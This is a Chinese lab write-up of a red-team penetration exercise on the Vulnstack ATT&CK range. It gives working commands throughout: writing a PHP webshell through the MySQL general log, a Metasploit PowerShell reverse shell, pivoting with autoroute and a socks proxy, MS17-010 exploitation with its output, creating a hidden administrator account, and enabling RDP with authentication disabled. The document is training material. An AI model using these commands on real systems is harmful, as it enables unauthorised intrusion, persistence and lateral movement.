ATTCK实战系列——红队实战(一)
目录
搭建环境问题
靶场环境
web 渗透
登录 phpmyadmin 应用
探测版本
写日志获得 webshell
写入哥斯拉 webshell
上线到 msf
内网信息收集
主机发现
流量转发
端口扫描
开启 socks 代理
服务探测
getshell 内网主机
浏览器配置 socks 代理
21 ftp
6002/7002 http
8099 IIS
139/445 smb
创建用户和开启 3389
远程桌面连接
这是一篇我渗透第一个红日靶场的笔记,记录其中使用到的技术。
搭建环境问题
本来想用 CS 完成后渗透,但是发现在基于主机模式网卡搭建的环境下,搭建的 CS 服务器有问题,具体表现是 beacon 无法上线到 CS 服务器,CS 客户端的 target 列表一片空白:
具体原因应该是跟网卡的模式有关,在 NAT 或桥接模式下运行的 CS 服务器倒是能正常工作。然而,发现在网卡为 NAT 模式下的机器能访问网卡为主机模式的机器,导致不能模拟一个正常隔断的局域网。本来还想用桥接模式,又发现宿主机用了手机热点,切换为桥接模式的虚拟机无法获取 ip。最终,我选择用主机模式网卡搭建靶场环境,然后用 metasploit 完成后渗透。
靶场环境
web 渗透
登录 phpmyadmin 应用
首先是从 web 服务器开始渗透,访问 192.168.17.141 网站:
phpstudy 搭建的 web 服务器,在网站目录下有个 phpmyadmin 入口,因为我知道 phpstudy 自带这么一个目录,所以手动访问了该路径(正常的渗透流程应该用工具扫描目录):
这种第三方应用一般会有一个默认账号,phpmyadmin 的是 root/root,输入并登录,进入系统:
探测版本
phpmyadmin 曝出过很多漏洞,网上很多利用方法,参考文章:最全phpmyadmin漏洞汇总
按照文章提供的技巧,先访问某些文件以查看 phpmyadmin 的版本号,比如 /phpmyadmin/readme:
根据这个版本号找对应的漏洞。我对了所有漏洞的版本范围,没有一个对的上,幸好还有一种方法 getshell:通过写入日志文件把 webshell 写入到网站目录下。
写日志获得 webshell
在写日志之前,首先需要知道网站目录的绝对路径,这一点可以在 phpstudy 探针页面看到:
现在可以在 phpmyadmin 的 SQL 功能页面写入日志了,按顺序执行以下语句:
# 开启日志记录
set global general_log = 'on';
# 日志文件的路径
set global general_log_file = 'C:/phpstudy/WWW/shell.php';
# 执行 SQL 语句,被记录到日志文件中
select "<?php @eval($_GET[x]);?>";
点击 go 执行:
访问日志文件 shell.php:
看到这样的结果,说明 webshell 已经成功写入到网站目录下。
写入哥斯拉 webshell
一句话木马不方便后续的操作,比如命令执行和上线等等,所以写入一个哥斯拉的 webshell。(其实,为了避开可能存在的杀软,应该直接写入哥斯拉 webshell ,而不是一句话木马)
主要的思路是通过一句话木马执行 file_put_contents() 函数,将哥斯拉 webshell 写入网站目录下,这些步骤我就省略了。
最后,连接哥斯拉 webshell:
上线到 msf
先看看当前 webshell 能不能执行命令:
能执行。接下来,在 msfconsole 控制台操作,使用 exploit/multi/script/web_delivery 模块分发 payload。用这种方法上线的原因是 web 服务器运行在 windows 系统上,用 powershell 直接下载 payload 并执行,效率比较高,只需要一条命令。
msfconsole 开启分发 payload 的 web 服务器:
use exploit/multi/script/web_delivery
set TARGET PSH
set PAYLOAD payload/windows/powershell_reverse_tcp
set LHOST 192.168.70.128 # 设置监听器的 ip 地址
set LPORT 2333 # 设置监听器的端口
run
复制给出的 powershell 语句在哥斯拉 webshell 执行:
回到 msfconsole 就会发现成功接收到的反弹 shell:
基于 powershell 的 shell 不太好用,可以利用它升级为 meterpreter,命令是 sessions -u <id>
内网信息收集
主机发现
在刚得到的 meterpreter 中收集网卡信息:
meterpreter > ifconfig...Interface 11
============
Name : Intel(R) PRO/1000 MT Network Connection
Hardware MAC : 00:0c:29:a7:c1:a8
MTU : 1500
IPv4 Address : 192.168.70.129
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::fcff:cf71:1487:9c27
IPv6 Netmask : ffff:ffff:ffff:ffff::...Interface 26
============
Name : Intel(R) PRO/1000 MT Network Connection #3
Hardware MAC : 00:0c:29:a7:c1:b2
MTU : 1500
IPv4 Address : 192.168.17.141
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::28cf:4f8a:48f2:7a90
IPv6 Netmask : ffff:ffff:ffff:ffff::
有两张不同网段的网卡,192.168.70.129 是对外开放的 ip 地址,也就是 web 服务器的地址,而 192.168.17.141 是该主机在内部局部网的 ip 地址。
用 post/windows/gather/arp_scanner 模块扫描局域网内的存活主机:
msf6 > use post/windows/gather/arp_scanner
msf6 post(windows/gather/arp_scanner) > set SESSION 2
SESSION => 2
msf6 post(windows/gather/arp_scanner) > set RHOSTS 192.168.17.0/24
RHOSTS => 192.168.17.0/24
msf6 post(windows/gather/arp_scanner) > optionsModule options (post/windows/gather/arp_scanner):Name Current Setting Required Description---- --------------- -------- -----------RHOSTS 192.168.17.0/24 yes The target address range or CIDR identifierSESSION 2 yes The session to run this module on.THREADS 10 no The number of concurrent threadsmsf6 post(windows/gather/arp_scanner) > run[*] Running module against STU1
[*] ARP Scanning 192.168.17.0/24
[+] IP: 192.168.17.1 MAC 00:50:56:c0:00:01 (VMware, Inc.)
[+] IP: 192.168.17.10 MAC 00:0c:29:3f:5d:a9 (VMware, Inc.)
[+] IP: 192.168.17.100 MAC 00:0c:29:6d:39:34 (VMware, Inc.)
[+] IP: 192.168.17.141 MAC 00:0c:29:a7:c1:b2 (VMware, Inc.)
[+] IP: 192.168.17.254 MAC 00:50:56:e5:cc:ad (VMware, Inc.)
[+] IP: 192.168.17.255 MAC 00:0c:29:a7:c1:b2 (VMware, Inc.)
[*] Post module execution completed
192.168.17.0/24 网段内存活的主机有 6 个,去掉主机号为 1、254 和 255 的机器(这几个 ip 一般不是提供服务的主机),总共有 3 个主机在线,再去掉当前主机的 141,剩下两个就是其他提供服务的主机。
PS:arp 扫描需要管理员权限。
流量转发
将某个 meterpreter 所控制的主机作为流量转发的中转(pivot),使用的模块是 post/multi/manage/autoroute。
执行命令:
msf6 post(windows/gather/arp_scanner) > use post/multi/manage/autoroute
msf6 post(multi/manage/autoroute) > set SESSION 2 # 设置作为中转的会话
SESSION => 2
msf6 post(multi/manage/autoroute) > optionsModule options (post/multi/manage/autoroute):Name Current Setting Required Description---- --------------- -------- -----------CMD autoadd yes Specify the autoroute command (Accepted: add, autoadd, print, delete, default)NETMASK 255.255.255.0 no Netmask (IPv4 as "255.255.255.0" or CIDR as "/24"SESSION 2 yes The session to run this module on.SUBNET no Subnet (IPv4, for example, 10.10.10.0)msf6 post(multi/manage/autoroute) > run[!] SESSION may not be compatible with this module (incompatible session platform: windows)
[*] Running module against STU1
[*] Searching for subnets to autoroute.
[+] Route added to subnet 169.254.0.0/255.255.0.0 from host's routing table.
[+] Route added to subnet 192.168.17.0/255.255.255.0 from host's routing table.
[+] Route added to subnet 192.168.70.0/255.255.255.0 from host's routing table.
[*] Post module execution completed
从 Session 2(也就是 meterpreter)自动获取所控制主机上的网段信息,添加到当前路由表。查看现在的路由表:
msf6 post(multi/manage/autoroute) > set CMD print
CMD => print
msf6 post(multi/manage/autoroute) > run[!] SESSION may not be compatible with this module (incompatible session platform: windows)
[*] Running module against STU1
[*]
IPv4 Active Routing Table
=========================Subnet Netmask Gateway------ ------- -------169.254.0.0 255.255.0.0 Session 2192.168.17.0 255.255.255.0 Session 2192.168.70.0 255.255.255.0 Session 2[*] There are currently no IPv6 routes defined.
[*] Post module execution completed
这个像路由表的列表的含义是所有 metasploit 模块发送的流量的目标 ip 地址,如果属于 Subnet 里面的网段,就由 Gateway 指定的 Session 进行转发。
那么,之后的端口扫描就可以针对内部局域网 192.168.17.0/24 进行扫描了。
端口扫描
对 192.168.17.100 这台主机的前 10000 个端口进行扫描。为什么只扫描前 10000 个端口呢?因为一般服务所使用的端口集中在这范围里面,而端口扫描需要很多时间,所以暂时不浪费大量时间去扫描高位端口,除非实在没有可攻击的服务。
执行命令:
msf6 post(multi/manage/autoroute) > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS 192.168.17.100
RHOSTS => 192.168.17.100
msf6 auxiliary(scanner/portscan/tcp) > set THREADS 5
THREADS => 5
msf6 auxiliary(scanner/portscan/tcp) > run[+] 192.168.17.100: - 192.168.17.100:21 - TCP OPEN
[+] 192.168.17.100: - 192.168.17.100:139 - TCP OPEN
[+] 192.168.17.100: - 192.168.17.100:135 - TCP OPEN
[+] 192.168.17.100: - 192.168.17.100:445 - TCP OPEN
[+] 192.168.17.100: - 192.168.17.100:777 - TCP OPEN
[+] 192.168.17.100: - 192.168.17.100:1025 - TCP OPEN
[+] 192.168.17.100: - 192.168.17.100:1040 - TCP OPEN
[+] 192.168.17.100: - 192.168.17.100:1041 - TCP OPEN
[+] 192.168.17.100: - 192.168.17.100:1043 - TCP OPEN
[+] 192.168.17.100: - 192.168.17.100:6002 - TCP OPEN
[+] 192.168.17.100: - 192.168.17.100:7001 - TCP OPEN
[+] 192.168.17.100: - 192.168.17.100:7002 - TCP OPEN
[+] 192.168.17.100: - 192.168.17.100:8099 - TCP OPEN
[+] 192.168.17.100: - 192.168.17.100:8098 - TCP OPEN
扫描另一台主机 192.168.17.10 的操作同上,这里就省略了。
开启 socks 代理
因为探测开放端口上的服务信息需要用到 nmap,而 nmap 不属于 metasploit 的模块,无法通过 session 进行流量转发。因此,需要开启一个 socks 代理服务器。使用到的模块:auxiliary/server/socks_proxy,执行以下命令:
msf6 auxiliary(scanner/portscan/tcp) > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > optionsModule options (auxiliary/server/socks_proxy):Name Current Setting Required Description---- --------------- -------- -----------PASSWORD no Proxy password for SOCKS5 listenerSRVHOST 0.0.0.0 yes The address to listen onSRVPORT 1080 yes The port to listen onUSERNAME no Proxy username for SOCKS5 listenerVERSION 5 yes The SOCKS version to use (Accepted: 4a, 5)Auxiliary action:Name Description---- -----------Proxy Run a SOCKS proxy servermsf6 auxiliary(server/socks_proxy) > run
[*] Auxiliary module running as background job 2.[*] Starting the SOCKS proxy server
msf6 auxiliary(server/socks_proxy) > jobsJobs
====Id Name Payload Payload opts-- ---- ------- ------------1 Exploit: multi/script/web_delivery windows/powershell_reverse_tcp tcp://192.168.70.128:44442 Auxiliary: server/socks_proxy
第二个 job 表明已经开启了 socks 代理。在 socks_proxy 模块的 options 里面描述了 socks 代理服务器的地址、端口和 socks 协议的版本,利用这些信息配置 proxychains,在命令行下执行:
echo "socks5 127.0.0.1 1080" > /etc/proxychains4.conf
cat /etc/proxychains4.conf...[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks5 127.0.0.1 1080
将代理配置添加到 proxychains.conf 文件的末尾中,这样就配置成功了。
服务探测
用 nmap 扫描 192.168.17.100 主机上开放端口的服务:
proxychains nmap -sT -Pn -sV 192.168.17.100 -p 21,139,135,445,777,1025,1040,1041,1043,6002,7001,7002,8099,8098
需要注意的是,nmap 对代理的支持有限,很多协议不支持代理。所以,这里用 -sT 指定只用 TCP 全连接扫描,-Pn 取消主机发现,即不发送 ICMP、ARP 等报文(因为前面说的 nmap 不支持)。具体问题的描述参考 StackOverflow 的回答:How to use nmap through proxychains?
ok,执行上面的命令得到类似如下的结果:
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows 2003 or 2008 microsoft-ds
777/tcp open multiling-http?
1025/tcp open msrpc Microsoft Windows RPC
1040/tcp open msrpc Microsoft Windows RPC
1041/tcp open msrpc Microsoft Windows RPC
1043/tcp open msrpc Microsoft Windows RPC
6002/tcp open http SafeNet Sentinel Protection Server 7.3
7001/tcp open tcpwrapped
7002/tcp open http SafeNet Sentinel Keys License Monitor httpd 1.0 (Java Console)
8098/tcp open ssl/unknown
8099/tcp open http Microsoft IIS httpd 6.0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port777-TCP:V=7.91%I=7%D=8/13%Time=64D8918A%P=x86_64-pc-linux-gnu%r(Ter
SF:minalServerCookie,A,"\x01\0\t\xe0\x06\x01\0\t\xe0\x06")%r(Kerberos,5,"\
SF:x01\0\t\xe0\x06")%r(SMBProgNeg,5,"\x01\0\t\xe0\x06")%r(TerminalServer,A
SF:,"\x01\0\t\xe0\x06\x01\0\t\xe0\x06")%r(WMSRequest,5,"\x01\0\t\xe0\x06");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_server_2003
在 nmap 扫描结果中,比较感兴趣的端口有 21 ftp、139/445 smb、6002/7002 http 和 8099 IIS,对这些服务逐个进行测试,看看能够获取目标主机的权限。
getshell 内网主机
浏览器配置 socks 代理
配置的是 metasploit 开启的 socks 代理服务器。
21 ftp
在浏览器地址栏输入 ftp://192.168.17.100 并访问:
没有文件和目录。
题外话:本来我想将目标端口映射到本地,再用 ftp 客户端访问,也就是将 192.168.17.100 的 20 和 21 端口映射到 kali 上的 20 和 21 端口。然而,尽管 ftp 客户端能连接上并匿名登录,却无法传输数据。我猜想是跟 ftp 的数据传输机制有关,因为 ftp 另外建立了一条数据通道(协议详解参考FTP 文件传送协议_《TCP/IP详解 卷1:协议》)。至于,怎么将目标端口映射到本地,后面会介绍。
6002/7002 http
这个网站用 SafeNet Sentinel Protection Server 7.3 搭建,网上有关于它的 CVE 和 exp,参考:SafeNet Sentinel Protection Server 7.0 < 7.4 / Sentinel Keys Server 1.0.3 < 1.0.4 - Directory Traversal,是一个目录穿越导致任意文件下载的漏洞,但是我没有利用成功。所以,这一步测试就省略了。
不过,在测试该漏洞的过程中,发现 burpsuite 也可以用 socks 代理:
那么,我们可以把浏览器的代理配置改为 burpsuite 的 http 127.0.0.1:8080, 之后 burpsuite 就会拦截从浏览器发出的、经过 socks 代理转发的流量了。
8099 IIS
这个网站要求 https 访问,具体访问路径是 https://192.168.17.100:8098,不过需要 http basic auth 认证:
用 auxiliary/scanner/http/http_login 模块尝试暴力破解,但没有成功。看了一下服务器的 IIS 配置:
仅用户名就不容易猜对了。
139/445 smb
139 端口运行的是基于 NetBIOS 会话服务的 smb,445 端口运行的是基于 CIFS 的 smb,不依赖于 NetBIOS,两个端口都是 smb,不过一般攻击的是 445 端口。
smb 版本探测:
msf6 auxiliary(scanner/http/http_login) > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.17.100
RHOSTS => 192.168.17.100
msf6 auxiliary(scanner/smb/smb_version) > run
^M
[*] 192.168.17.100:445 - SMB Detected (versions:1) (preferred dialect:) (signatures:optional)
[+] 192.168.17.100:445 - Host is running Windows 2003 (build:3790) (name:ROOT-TVI862UBEH) (domain:GOD)
[*] 192.168.17.100: - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
目标系统是 Windows Server 2003,在 ms17_010 漏洞的版本范围内,可以尝试攻击:
msf6 auxiliary(scanner/smb/smb_version) > use auxiliary/admin/smb/ms17_010_command
msf6 auxiliary(admin/smb/ms17_010_command) > set RHOSTS 192.168.17.100
msf6 auxiliary(admin/smb/ms17_010_command) > set COMMAND whoami /all
COMMAND => whoami /all
msf6 auxiliary(admin/smb/ms17_010_command) > run[-] 192.168.17.100:445 - Rex::Proto::SMB::Exceptions::LoginError: Login Failed: execution expired
[*] 192.168.17.100:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(admin/smb/ms17_010_command) > runmsf6 auxiliary(admin/smb/ms17_010_command) > run[*] 192.168.17.100:445 - Target OS: Windows Server 2003 3790
[*] 192.168.17.100:445 - Filling barrel with fish... done
[*] 192.168.17.100:445 - <---------------- | Entering Danger Zone | ---------------->
[*] 192.168.17.100:445 - [*] Preparing dynamite...
[*] 192.168.17.100:445 - Trying stick 1 (x64)...Miss
[*] 192.168.17.100:445 - [*] Trying stick 2 (x86)...Boom!
[*] 192.168.17.100:445 - [+] Successfully Leaked Transaction!
[*] 192.168.17.100:445 - [+] Successfully caught Fish-in-a-barrel
[*] 192.168.17.100:445 - <---------------- | Leaving Danger Zone | ---------------->
[*] 192.168.17.100:445 - Reading from CONNECTION struct at: 0x8d04ad60
[*] 192.168.17.100:445 - Built a write-what-where primitive...
[+] 192.168.17.100:445 - Overwrite complete... SYSTEM session obtained!
[+] 192.168.17.100:445 - Service start timed out, OK if running a command or non-service executable...
[*] 192.168.17.100:445 - Getting the command output...
[*] 192.168.17.100:445 - Executing cleanup...
[+] 192.168.17.100:445 - Cleanup was successful
[+] 192.168.17.100:445 - Command completed successfully!
[*] 192.168.17.100:445 - Output for "whoami /all":USER INFORMATION
----------------User Name SID
=================== ========
nt authority\system S-1-5-18GROUP INFORMATION
... // 省略
漏洞利用成功并执行 whoami /all 命令。
注意:漏洞利用模块执行不稳定,建议尝试多执行几次。
创建用户和开启 3389
通过 ms17_010 命令执行漏洞在目标主机创建管理员用户和开启 3389 远程桌面。
创建用户的相关命令:
net user <用户名> <密码> /add # 创建账户,$ 隐藏账户,密码在 Windows Server 上需要满足一定的复杂度
net localgroup administrators <用户名> /add
net user <用户名>
开启 3389 远程桌面的相关命令:
# 若字段值为0,则表示已启动RDP;若为1,则表示禁用RDP
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
# 开启远程桌面
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
# 关闭“仅允许运行使用网络级别身份验证的远程桌面的计算机连接”(鉴权)
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0
# 防火墙开放 3389 端口
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
需要注意的是,metasploit 对 set COMMAND 提供的参数会转义一次,所以给 ms17_010_command 模块设置命令 option 时,需要将引号和反斜杠前面添加转义符号,举个例子:
set COMMAND reg add \"HKLM\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 0 /f
远程桌面连接
192.168.17.100 主机的 3389 端口开启后,如何连接呢?Windows 攻击机可以选择用 proxifier 代理工具,配置前面 metasploit 开启的 socks 代理服务器(端口 1080),不过我选择将目标端口映射到本地的方法。
在 msfconsole 下执行:
msf6 post(multi/manage/autoroute) > sessions -i 2
[*] Starting interaction with 2...meterpreter > portfwd add -l 3389 -p 3389 -r 192.168.17.100
[*] Local TCP relay created: :3389 <-> 192.168.17.100:3389
meterpreter > portfwdActive Port Forwards
====================Index Local Remote Direction----- ----- ------ ---------1 192.168.17.100:3389 0.0.0.0:3389 Forward1 total active port forwards.
portfwd 命令语句的含义是将远程主机 192.168.17.100(-r)的 3389 端口(-p)映射到本地的 3389 端口(-l)。Active Port Forwards 展示的列表中有点让人看不懂,Local 和 Remote 相反了,Local 是远程地址,Remote 则是本地地址。不管怎样,只需要知道发送给 0.0.0.0:3389 的流量将被转发到远程地址 192.168.17.100 的 3389 端口。
既然是转发,那肯定有个作为中转的“东西”,其实这里作为中转的正是前面配置流量转发所指定的 Session 2。
IPv4 Active Routing Table
=========================Subnet Netmask Gateway------ ------- -------169.254.0.0 255.255.0.0 Session 2192.168.17.0 255.255.255.0 Session 2192.168.70.0 255.255.255.0 Session 2
也就是 meterpreter 控制的 web 服务器。
接着,便可以在 Windows 10 攻击机上远程桌面连接了:
ip 地址和端口是 kali 攻击机及其刚刚映射到本地的 3389 端口。
连接成功,输入密码就能登录进去系统。
题外话:我尝试用这篇文章介绍的技术将这台 Windows Server 2003 上线到 msf 的时候,发现无法创建 session,而 Windows Server 2008 则可以上线,具体原因可能是 Server 2003 台太老了,缺少一些程序。
至此,内网的第一台主机 Windows Server 2003(ip 地址为 192.168.17.100 )已经被攻陷。另一台主机 Windows Server 2008(ip 的地址为 192.168.17.10)也可以利用 ms17_010 漏洞获取访问权限。如果想尝试用 PTH 获取权限,具体操作参考这篇攻略:Vulnstack红日安全内网域渗透靶场1实战